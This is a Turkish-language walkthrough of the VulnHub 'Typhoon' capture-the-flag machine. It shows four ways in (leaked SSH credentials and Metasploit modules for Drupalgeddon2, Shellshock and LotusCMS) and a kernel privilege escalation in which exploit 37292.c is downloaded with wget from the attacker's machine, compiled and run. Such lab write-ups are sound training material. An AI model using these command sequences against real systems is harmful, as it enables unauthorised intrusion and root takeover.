VULNHUB TYPHOON CTF ÇÖZÜMÜ

Bu makinede sisteme sızmanın birden çok yolu olduğu için başarabildiğim birkaç çözüm yolunu ve sisteme sızdıktan sonra ise yetki yükseltme işlemini ayrı olarak ele almak istedim (çözüm yollarında kullanılan ip adresleri farklılıklar gösterebilir), dilerseniz başlayalım …

1.SIZMA YÖNTEMİ

İlk olarak sisteme nmap -p- 10.0.2.39 komutu ile genel bir port taraması yapıyoruz ve birçok portun açık olduğunu görüyoruz.

Burada 80 portunda bir web sitesi çalıştığını görebiliyoruz ve hemen gobuster aracıyla veya dirb ve dirbuster gibi araçlardan birisi ile sitede gizli olan dizinleri görmeye çalışabiliriz. Bunun için gobuster dir -u 10.0.2.39 -w /usr/share/wordlists/dirb/big.txt komutunu çalıştırıyoruz

Yukarıdaki görselde de görüldüğü gibi ulaşabildiğimiz birçok dizin var ancak ilk olarak dikkatimizi çeken “robots.txt” dizini oluyor ve hemen bu dizine bir göz atıyoruz

Robots.txt dizininin içeriğini görüntülediğimizde Google Crawlerlarının /mongoadmin/ dizinine ulaşılması istenmemiş. O halde hemen bu dizini görüntülemeye çalışıyoruz

Bu dizini incelediğimizde credentials kısmında “typhoon” kullanıcı adı ve “789456123” parolasına ait bir kullanıcı giriş bilgisine ulaştık ve bu bilgiyle ssh bağlantısı yapmayı deniyoruz

ssh typhoon@10.0.2.39  komutu ve “789456123” parolasıyla giriş yapmaya çalıştığımızda typhoon kullanıcısı ile giriş yapabildiğimizi görüyoruz.

2.SIZMA YÖNTEMİ

Gobuster aracı ile yaptığımız gizli dizinleri bulma işleminde edindiğimiz sonuçları tekrar gözden geçirelim ve işimize yarayabilecek farklı dizinler olup olmadığını bakalım

Yukarıdaki görseli incelediğimizde /drupal/ isminde bir dizin görüyoruz ve dizine gittiğimizde karşımıza aşağıdaki gibi bir sayfa çıkıyor

Drupal servisine ait bir açık olup olmadığını “metasploit framework” de aratarak kontrol edebiliriz. Bunun için öncelikle msfconsole komutunu çalıştırıyoruz ve metasploit açıldıktan sonra search drupal komutunu çalıştırdığımızda karşımıza aşağıdaki görselde olduğu gibi birçok seçenek çıktığını görüyoruz

Burada dört numaralı exploiti kullanmak bizim için uygun olacaktır ve bunun için

use exploit/unix/webapp/drupal_drupalgeddon2 komutunu çalıştırıyoruz. show options komutu ile yapmamız gereken ayarları görüntülüyoruz ve set rhosts 10.0.2.39 ile set targeturi /drupal/ komutlarını kullanarak exploitin çalışacağı web dizinini ve hedef ip adresini ayarlıyoruz. Ardından exploit komutu ile işlemimizi başlatıyoruz.

Yukarıdaki görselde de gördüğümüz gibi exploitimiz başarılı bir şekilde çalıştı ve bir meterpreter session almayı başardık, artık hedef sistemin içerisindeyiz…

3.SIZMA YÖNTEMİ

Hali hazırda bir web sitemiz olduğuna göre yapmamız gereken bir diğer gerekli işlem ise nikto veya benzeri bir araç kullanarak bu sitenin zayıf noktaları var mı varsa bu noktalar neler gibi sorularına cevap olabilecek analizler yaptırmaktır. Bunun için ise nikto -host http://10.0.2.39 komutunu çalıştırıyoruz

Karşımıza çıkan çıktıyı incelediğimizde yukarıdaki görselde de görüntüleyebildiğimiz gibi “/cgi-bin/test.sh” şeklinde bir dosya oluşturduğumuzda “shellshock” adı verilen bir zafiyetle bu zafiyeti sömürebileceğimizi farkediyoruz. msfconsole komutu ile tekrar metasploit framework ü ve search shellshock komutunu çalıştırdığımızda karşımıza aşağıdaki görselde görebileceğimiz gibi daha önceden bulunmuş birçok zafiyet ve bu zafiyetler için hazırlanmış exploitler çıkıyor

Bu noktada ise işimize yarayabilecek olan beş numaralı exploiti çalıştırmak için use exploit/multi/http/apache_mod_cgi_bash_env_exec komutunu kullanıyoruz ve options komutu ile yapmamız gereken ayarları görüntülüyoruz

Son olarak her zamanki gibi set rhost 10.0.2.39 komutu ile hedef ip adresimizi ayarlıyoruz ve set targeturi /cgi-bin/test.sh komutu ile de zafiyetli olan dizini belirtiyoruz, artık run komutu ile işlemimizi başlatıyoruz ve yukarıdaki görselde de gördüğümüz üzere “www-data” kullanıcı adı ile bir meterpreter session elde etmiş ve sisteme girmiş oluyoruz.

4.SIZMA YÖNTEMİ

Tekrar gobuster analizimize döndüğümüzde ve çıktıyı incelediğimizde /cms/ adında bir dizin olduğunu farkediyoruz

Dizine gittiğimizde ve açılan sayfada “login” butonuna tıkladığımızda aşağıdaki gibi bir görsel bizi karşılıyor

Tekrar msfconsole komutu ile metasploit framework çalıştırdığımızda ve search lotus olarak bir zafiyet olup olmadığını araştırdığımızda aşağıdaki görselde de görebildiğimiz gibi birçok zafiyet ve bu zafiyetler için hazırlanmış exploitler bizi karşılıyor

Burada dokuz numaralı exploiti kullanmak bizim için uygun ve bunun için öncelikle use exploit/multi/http/lcms_php_exec komutunu ve daha sonra show options komutunu kullanarak yapmamız gereken ayarları görüntülüyoruz

Yukarıdaki görselde de görüntüleyebileceğimiz gibi set rhosts 10.0.2.39 komutu ile hedef ip adresimizi ve set uri /cms/ komutu ile de hedef dizinimizi belirtiyoruz ve run komutu ile işlemi başlattığımızda “www-data” kullanıcısı ile hedef sistemde bir meterpreter session açmış olduğumuzu görüyoruz

YETKİ YÜKSELTME İŞLEMİ

Sisteme sızma aşamasını çeşitli yöntemlerle gerçekleştirdikten sonra yapmamız gereken tek şey root yetkilerini elde edebilmek için yetki yükseltmesi yapmak ve /root dizini altında bulunan flag i elde etmek.

Bunun için ise ilk adım olarak uname -a komutunu çalıştırıyoruz ve hedef sistemin işletim sistemi ve versiyon bilgilerini görüntülüyoruz

Şimdi edindiğimiz bu bilgilere dair daha önceden geliştirilmiş exploitler olup olmadığının kontrolünü sağlamak için saldırgan makinemize giderek searchsploit “ubuntu 3.13.0-32” komutunu çalıştırıyoruz ve karşımıza çıkan exploitlerden bizim için uygun olanını seçiyoruz

Bu aşamada searchsploit -m Linux/local/37292.c komutu ile bizim için uygun olan exploitimizi indiriyoruz ve python -m SimpleHTTPServer 80 komutunu kullanarak indirdiğimiz dosyaya hedef sistemden erişebilmek için bulunduğumuz dizini internete açıyoruz

Hedef sisteme giderek önce cd /tmp komutu ile dosyayı rahatça indirebileceğimiz “tmp” dizinine gidiyoruz ve ardından wget  http://10.0.2.15/37292.c komutunu kullanarak zararlı exploitimizi hedef sisteme indiriyoruz

gcc  37292.c -o 37292 komutu ile indirdiğimiz .c uzantılı dosyayı derleyerek kodları çalıştırılabilir bir hale getiriyoruz ve ardından chmod +x 37292 komutu ile de gerekli dosya izinlerini sağladıktan sonra ./37292 komutunu kullanarak dosyamızı çalıştırıyoruz. Görüldüğü gibi başarılı bir şekilde root olduk şimdi ise cd /root komutu ile root dizinine gidiyoruz ve cat root-flag komutu ile flag e erişiyoruz . İşte bu kadar 😊

About The Author

Reply